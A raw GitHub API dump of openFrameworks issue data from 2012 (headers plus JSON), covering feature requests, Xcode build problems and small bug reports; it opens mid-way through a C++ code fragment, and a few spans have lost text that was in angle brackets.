if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"b3b3a8bd17d4ed7557040a218c1db573"'), ('date', 'Tue, 29 May 2012 19:36:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofStringUtils:: feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","comments":6,"assignee":null,"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","number":1132,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3911629,"closed_at":null,"created_at":"2012-03-31T17:52:48Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTTF feature discussion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","comments":25,"assignee":null,"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","number":1131,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography"}],"id":3911537,"closed_at":null,"created_at":"2012-03-31T17:36:25Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Define standard header for examples.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","comments":0,"assignee":null,"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","number":1130,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels":[{"color":"d1af26","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"}],"id":3910580,"closed_at":null,"created_at":"2012-03-31T14:44:01Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","comments":5,"assignee":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","number":1129,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3910555,"closed_at":null,"created_at":"2012-03-31T14:39:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"upgrade scripts","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","comments":1,"assignee":null,"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","number":1128,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"37c200","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3910549,"closed_at":null,"created_at":"2012-03-31T14:38:19Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"PG Feature request: Clean examples folder","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","comments":0,"assignee":null,"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","number":1126,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels":[{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"444444","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator"}],"id":3897090,"closed_at":null,"created_at":"2012-03-30T12:51:30Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","comments":0,"assignee":null,"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","number":1124,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals"}],"id":3883598,"closed_at":null,"created_at":"2012-03-29T16:47:29Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","comments":2,"assignee":null,"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","number":1120,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3856005,"closed_at":null,"created_at":"2012-03-28T16:21:45Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Default paths.make for Android","html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","comments":0,"assignee":{"gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","number":1118,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"2bc4ad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android"}],"id":3850655,"closed_at":null,"created_at":"2012-03-28T12:19:39Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Can't retrieve desired frame rate once set","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","comments":0,"assignee":null,"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","number":1117,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":3825582,"closed_at":null,"created_at":"2012-03-27T11:48:00Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVBO updateIndexData incorrect buffer type.","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","comments":5,"assignee":null,"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","number":1116,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"},{"color":"DDDDDD","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D"}],"id":3813852,"closed_at":null,"created_at":"2012-03-26T18:26:05Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"optimization level in xcode projects","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","comments":3,"assignee":null,"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","number":1115,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels":[{"color":"993e7a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode"}],"id":3812318,"closed_at":null,"created_at":"2012-03-26T17:05:14Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"macros in ofArduino","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","comments":1,"assignee":{"gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","number":1114,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":3812275,"closed_at":null,"created_at":"2012-03-26T17:02:21Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","url":"https://api.github.com/users/OlexandrStepanov","login":"OlexandrStepanov","id":971079,"avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Issue with QtKitMovieGrabberExample in apps/devapps","html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","comments":9,"assignee":null,"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","number":1112,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":3807459,"closed_at":null,"created_at":"2012-03-26T12:11:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"add a simple regex function like ofSplitString()","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","comments":1,"assignee":null,"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return 